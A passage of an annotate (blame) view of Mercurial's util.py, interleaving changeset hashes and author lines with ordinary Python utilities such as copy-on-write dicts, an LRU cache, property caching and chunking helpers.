Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1070 # we don't need to pack/unpack the list |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1071 def f(arg): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1072 if arg not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1073 cache[arg] = func(arg) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1074 return cache[arg] |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1075 else: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1076 def f(*args): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1077 if args not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1078 cache[args] = func(*args) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1079 return cache[args] |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1080 |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1081 return f |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1082 |
34357
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1083 class cow(object): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1084 """helper class to make copy-on-write easier |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
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diff
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|
1085 |
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Jun Wu <quark@fb.com>
parents:
34295
diff
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|
1086 Call preparewrite before doing any writes. |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
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diff
changeset
|
1087 """ |
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1088 |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1089 def preparewrite(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1090 """call this before writes, return self or a copied new object""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1091 if getattr(self, '_copied', 0): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1092 self._copied -= 1 |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
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diff
changeset
|
1093 return self.__class__(self) |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
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diff
changeset
|
1094 return self |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1095 |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1096 def copy(self): |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1097 """always do a cheap copy""" |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1098 self._copied = getattr(self, '_copied', 0) + 1 |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1099 return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1100 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1101 class sortdict(collections.OrderedDict): |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1102 '''a simple sorted dictionary |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1103 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1104 >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1105 >>> d2 = d1.copy() |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1106 >>> d2 |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1107 sortdict([('a', 0), ('b', 1)]) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1108 >>> d2.update([(b'a', 2)]) |
34139
be00af4a1ac5
doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents:
34137
diff
changeset
|
1109 >>> list(d2.keys()) # should still be in last-set order |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1110 ['b', 'a'] |
2d19664e257d
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Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1111 ''' |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1112 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1113 def __setitem__(self, key, value): |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1114 if key in self: |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1115 del self[key] |
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1116 super(sortdict, self).__setitem__(key, value) |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1117 |
33626
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1118 if pycompat.ispypy: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1119 # __setitem__() isn't called as of PyPy 5.8.0 |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1120 def update(self, src): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1121 if isinstance(src, dict): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1122 src = src.iteritems() |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1123 for k, v in src: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1124 self[k] = v |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1125 |
34357
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1126 class cowdict(cow, dict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
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|
1127 """copy-on-write dict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1128 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1129 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1130 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1131 >>> a = cowdict() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1132 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1133 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1134 >>> b = a.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1135 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1136 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1137 >>> c = b.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1138 >>> c is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1139 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1140 >>> a = a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1141 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1142 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1143 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1144 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1145 >>> c = c.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1146 >>> b is c |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1147 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1148 >>> b is b.preparewrite() |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1149 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1150 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1151 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1152 class cowsortdict(cow, sortdict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1153 """copy-on-write sortdict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1154 |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1155 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1156 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1157 |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1158 class transactional(object): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1159 """Base class for making a transactional type into a context manager.""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1160 __metaclass__ = abc.ABCMeta |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1161 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1162 @abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1163 def close(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1164 """Successfully closes the transaction.""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1165 |
bbbbd3c30bfc
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Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1166 @abc.abstractmethod |
bbbbd3c30bfc
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Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1167 def release(self): |
bbbbd3c30bfc
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Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1168 """Marks the end of the transaction. |
bbbbd3c30bfc
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Martin von Zweigbergk <martinvonz@google.com>
parents:
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diff
changeset
|
1169 |
bbbbd3c30bfc
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parents:
33737
diff
changeset
|
1170 If the transaction has not been closed, it will be aborted. |
bbbbd3c30bfc
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Martin von Zweigbergk <martinvonz@google.com>
parents:
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diff
changeset
|
1171 """ |
bbbbd3c30bfc
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Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1172 |
bbbbd3c30bfc
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parents:
33737
diff
changeset
|
1173 def __enter__(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1174 return self |
bbbbd3c30bfc
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parents:
33737
diff
changeset
|
1175 |
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parents:
33737
diff
changeset
|
1176 def __exit__(self, exc_type, exc_val, exc_tb): |
bbbbd3c30bfc
util: add base class for transactional context managers
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parents:
33737
diff
changeset
|
1177 try: |
bbbbd3c30bfc
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parents:
33737
diff
changeset
|
1178 if exc_type is None: |
bbbbd3c30bfc
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parents:
33737
diff
changeset
|
1179 self.close() |
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Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1180 finally: |
bbbbd3c30bfc
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Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1181 self.release() |
bbbbd3c30bfc
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Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1182 |
33446
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1183 @contextlib.contextmanager |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1184 def acceptintervention(tr=None): |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1185 """A context manager that closes the transaction on InterventionRequired |
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1186 |
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1187 If no transaction was provided, this simply runs the body and returns |
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1188 """ |
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1189 if not tr: |
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1190 yield |
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1191 return |
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|
1192 try: |
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1193 yield |
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|
1194 tr.close() |
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1195 except error.InterventionRequired: |
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1196 tr.close() |
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1197 raise |
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1198 finally: |
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1199 tr.release() |
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1200 |
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1201 @contextlib.contextmanager |
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1202 def nullcontextmanager(): |
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1203 yield |
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1204 |
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1205 class _lrucachenode(object): |
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1206 """A node in a doubly linked list. |
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1207 |
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1208 Holds a reference to nodes on either side as well as a key-value |
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1209 pair for the dictionary entry. |
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1210 """ |
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1211 __slots__ = (u'next', u'prev', u'key', u'value') |
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1212 |
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1213 def __init__(self): |
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1214 self.next = None |
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1215 self.prev = None |
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1216 |
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1217 self.key = _notset |
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1218 self.value = None |
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1219 |
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1220 def markempty(self): |
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1221 """Mark the node as emptied.""" |
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1222 self.key = _notset |
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1223 |
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1224 class lrucachedict(object): |
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1225 """Dict that caches most recent accesses and sets. |
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1226 |
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1227 The dict consists of an actual backing dict - indexed by original |
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1228 key - and a doubly linked circular list defining the order of entries in |
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1229 the cache. |
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1230 |
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1231 The head node is the newest entry in the cache. If the cache is full, |
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1232 we recycle head.prev and make it the new head. Cache accesses result in |
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1233 the node being moved to before the existing head and being marked as the |
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1234 new head node. |
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1235 """ |
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1236 def __init__(self, max): |
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1237 self._cache = {} |
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1238 |
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1239 self._head = head = _lrucachenode() |
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1240 head.prev = head |
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1241 head.next = head |
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1242 self._size = 1 |
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1243 self._capacity = max |
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1244 |
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1245 def __len__(self): |
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1246 return len(self._cache) |
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1247 |
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1248 def __contains__(self, k): |
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1249 return k in self._cache |
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1250 |
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1251 def __iter__(self): |
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1252 # We don't have to iterate in cache order, but why not. |
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1253 n = self._head |
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1254 for i in range(len(self._cache)): |
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1255 yield n.key |
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1256 n = n.next |
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|
1257 |
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1258 def __getitem__(self, k): |
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1259 node = self._cache[k] |
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1260 self._movetohead(node) |
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1261 return node.value |
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|
1262 |
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1263 def __setitem__(self, k, v): |
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1264 node = self._cache.get(k) |
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1265 # Replace existing value and mark as newest. |
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1266 if node is not None: |
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1267 node.value = v |
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1268 self._movetohead(node) |
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1269 return |
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1270 |
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1271 if self._size < self._capacity: |
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1272 node = self._addcapacity() |
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1273 else: |
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1274 # Grab the last/oldest item. |
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1275 node = self._head.prev |
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1276 |
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1277 # At capacity. Kill the old entry. |
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1278 if node.key is not _notset: |
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1279 del self._cache[node.key] |
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1280 |
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1281 node.key = k |
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1282 node.value = v |
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1283 self._cache[k] = node |
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1284 # And mark it as newest entry. No need to adjust order since it |
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1285 # is already self._head.prev. |
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1286 self._head = node |
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1287 |
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1288 def __delitem__(self, k): |
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1289 node = self._cache.pop(k) |
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1290 node.markempty() |
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1291 |
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1292 # Temporarily mark as newest item before re-adjusting head to make |
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1293 # this node the oldest item. |
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1294 self._movetohead(node) |
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1295 self._head = node.next |
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1296 |
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1297 # Additional dict methods. |
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1298 |
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1299 def get(self, k, default=None): |
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1300 try: |
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1301 return self._cache[k].value |
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1302 except KeyError: |
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1303 return default |
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1304 |
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1305 def clear(self): |
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1306 n = self._head |
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1307 while n.key is not _notset: |
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1308 n.markempty() |
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1309 n = n.next |
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1310 |
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1311 self._cache.clear() |
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1312 |
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1313 def copy(self): |
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1314 result = lrucachedict(self._capacity) |
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1315 n = self._head.prev |
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1316 # Iterate in oldest-to-newest order, so the copy has the right ordering |
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1317 for i in range(len(self._cache)): |
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1318 result[n.key] = n.value |
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1319 n = n.prev |
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1320 return result |
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1321 |
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1322 def _movetohead(self, node): |
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1323 """Mark a node as the newest, making it the new head. |
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1324 |
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1325 When a node is accessed, it becomes the freshest entry in the LRU |
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1326 list, which is denoted by self._head. |
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1327 |
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1328 Visually, let's make ``N`` the new head node (* denotes head): |
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1329 |
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1330 previous/oldest <-> head <-> next/next newest |
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1331 |
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1332 ----<->--- A* ---<->----- |
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1333 | | |
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1334 E <-> D <-> N <-> C <-> B |
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1335 |
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1336 To: |
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1337 |
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1338 ----<->--- N* ---<->----- |
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1339 | | |
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1340 E <-> D <-> C <-> B <-> A |
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1341 |
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1342 This requires the following moves: |
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1343 |
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1344 C.next = D (node.prev.next = node.next) |
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1345 D.prev = C (node.next.prev = node.prev) |
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1346 E.next = N (head.prev.next = node) |
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1347 N.prev = E (node.prev = head.prev) |
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1348 N.next = A (node.next = head) |
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1349 A.prev = N (head.prev = node) |
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1350 """ |
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1351 head = self._head |
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1352 # C.next = D |
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1353 node.prev.next = node.next |
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1354 # D.prev = C |
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1355 node.next.prev = node.prev |
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1356 # N.prev = E |
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1357 node.prev = head.prev |
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1358 # N.next = A |
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1359 # It is tempting to do just "head" here, however if node is |
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1360 # adjacent to head, this will do bad things. |
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1361 node.next = head.prev.next |
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1362 # E.next = N |
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1363 node.next.prev = node |
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1364 # A.prev = N |
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1365 node.prev.next = node |
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1366 |
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1367 self._head = node |
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1368 |
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1369 def _addcapacity(self): |
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1370 """Add a node to the circular linked list. |
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1371 |
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1372 The new node is inserted before the head node. |
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1373 """ |
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1374 head = self._head |
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1375 node = _lrucachenode() |
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1376 head.prev.next = node |
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1377 node.prev = head.prev |
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1378 node.next = head |
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1379 head.prev = node |
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1380 self._size += 1 |
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1381 return node |
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1382 |
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1383 def lrucachefunc(func): |
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1384 '''cache most recent results of function calls''' |
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1385 cache = {} |
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1386 order = collections.deque() |
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1387 if func.__code__.co_argcount == 1: |
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1388 def f(arg): |
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1389 if arg not in cache: |
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1390 if len(cache) > 20: |
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1391 del cache[order.popleft()] |
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1392 cache[arg] = func(arg) |
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1393 else: |
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1394 order.remove(arg) |
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1395 order.append(arg) |
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1396 return cache[arg] |
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1397 else: |
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1398 def f(*args): |
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1399 if args not in cache: |
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1400 if len(cache) > 20: |
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1401 del cache[order.popleft()] |
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1402 cache[args] = func(*args) |
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1403 else: |
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1404 order.remove(args) |
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1405 order.append(args) |
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1406 return cache[args] |
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1407 |
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1408 return f |
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1409 |
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1410 class propertycache(object): |
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1411 def __init__(self, func): |
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1412 self.func = func |
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1413 self.name = func.__name__ |
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1414 def __get__(self, obj, type=None): |
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1415 result = self.func(obj) |
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1416 self.cachevalue(obj, result) |
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1417 return result |
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1418 |
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1419 def cachevalue(self, obj, value): |
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1420 # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
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1421 obj.__dict__[self.name] = value |
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1422 |
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1423 def clearcachedproperty(obj, prop): |
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1424 '''clear a cached property value, if one has been set''' |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1425 if prop in obj.__dict__: |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1426 del obj.__dict__[prop] |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1427 |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1428 def increasingchunks(source, min=1024, max=65536): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1429 '''return no less than min bytes per chunk while data remains, |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1430 doubling min after each chunk until it reaches max''' |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1431 def log2(x): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1432 if not x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1433 return 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1434 i = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1435 while x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1436 x >>= 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1437 i += 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1438 return i - 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1439 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1440 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1441 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1442 for chunk in source: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1443 buf.append(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1444 blen += len(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1445 if blen >= min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1446 if min < max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1447 min = min << 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1448 nmin = 1 << log2(blen) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1449 if nmin > min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1450 min = nmin |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1451 if min > max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1452 min = max |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1453 yield ''.join(buf) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1454 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1455 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1456 if buf: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1457 yield ''.join(buf) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1458 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1459 def always(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1460 return True |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1461 |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1462 def never(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1463 return False |
724
1c0c413cccdd
Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents:
705
diff
changeset
|
1464 |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1465 def nogc(func): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1466 """disable garbage collector |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1467 |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1468 Python's garbage collector triggers a GC each time a certain number of |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1469 container objects (the number being defined by gc.get_threshold()) are |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1470 allocated even when marked not to be tracked by the collector. Tracking has |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1471 no effect on when GCs are triggered, only on what objects the GC looks |
23543
4dd8a6a1240d
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23495
diff
changeset
|
1472 into. As a workaround, disable GC while building complex (huge) |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
